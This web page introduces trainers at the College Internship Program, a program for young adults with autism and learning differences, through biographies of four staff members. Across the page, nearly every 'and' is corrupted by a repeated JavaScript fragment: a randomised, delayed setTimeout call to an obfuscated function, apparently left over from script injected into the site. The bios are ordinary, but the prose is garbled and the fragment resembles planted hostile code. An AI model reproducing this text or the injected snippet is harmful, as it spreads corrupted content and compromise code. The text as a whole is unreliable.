Meet Our Trainers

Our trainers have the vital combination of practical andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and academic experience. Their expertise is based on CIP’s 30+ year fund of knowledge andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and successful implementation. Attendees can be confident that they will be receiving expert, practical advice, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and knowledge-based strategies that can be implemented immediately.


Dr. Michael P. McManmon, Ed.D. – Lead Trainer

Michael McManmon

Dr. McManmon is a featured keynote speaker andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and presenter at ASD/LD conferences worldwide. He is a trained psychologist andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and holds a Doctorate in Special Education, plus Master’s degree in Counseling. He is the CIP (College Internship Program) founder andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and author of Autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Learning Differences: An Active Learning Teaching Toolkit andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Made for Good Purpose.

He has worked on curriculum development, staff training, program evaluation, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and administering community-based programming for over 40 years. Dr. McManmon has an inside perspective as he himself was diagnosed with Asperger’s syndrome in his 50’s andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and grew up in a large family with several individuals on the spectrum.

Dr. McManmon’s work in the field is innovative andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and cutting edge with a focus on preparing young adults for life, independence, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and work through internships, volunteerism, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and community-based projects andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and service learning.


Sharona Sommer, CPC – Lead Trainer

Sharona SommerSharona has worked in the Special Education field for over 20 years andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and is the founder of Sharona Coaching andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Consulting, which provides family coaching to families with children on the Autism Spectrum, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and also leads workshops andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and support groups.

Sharona guides the whole family, not just the diagnosis. She offers support, clarity, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and peace of mind. Her strong desire to coach families with teens andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and young adults stems from her work in the special education field andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and first-handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and experienced the challenges parents face. She helps to unite parents andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and their emerging adult children with a realistic plan for life, school, work, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and independent living.

Sharona has presented at several national conferences (LDA, National Autism Conference, YAI), andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and consults with several organizations in the Autism field. In 2016 Sharona has accepted the position of Director of Family Services at CIP.


Dr. Elizabeth Roberts, Psy.D. – Trainer

Dr. Roberts offering compassionate, individualized, thoughtful, evidence-based care andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and support to young adults with ASD or other learning differences to help them reach their potential in independent living, work, creative expression, social, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and educational.

Elizabeth have worked as a psychologist andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and neuropsychologist at many institutions across New Englandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the tri-state area, serving all ages. About 15 years ago, she began specializing in autism spectrum disorders, but continues to have expertise andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and interest in other learning challenges including learning disabilities, developmental disability, head injury, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and others. She has a particular interest in girls with ASD. Dr. Roberts joined College Internship Program in 2017 as a Director of Clinical Support Services.


Dr. Michele Ramsay, Ed.D. – Trainer

Dr. Ramsay received her Bachelor’s degree in teaching from Georgian Court University, Master’s degree in Education Administration from Kean University, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and her Doctorate in Educational Leadership andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Teaching from Walden University. In New Jersey she worked as an enthusiastic Special Needs Teacher, High School Assistant Principal, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and a School District Director of Special Education. After all that time, her excitement continues to grow as she relocates to beautiful sunny Florida to begin her career as the Program Director of CIP Brevard.

As the Educational Leader in her last position, she supervised a staff of 88 professionals including child study team members, classroom teachers, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and paraprofessionals; with a special needs population of over 350 students. She worked on curriculum changes that facilitated transition, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and holds a strong commitment to strengthening students’ educational experiences both inside andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and outside of the classroom.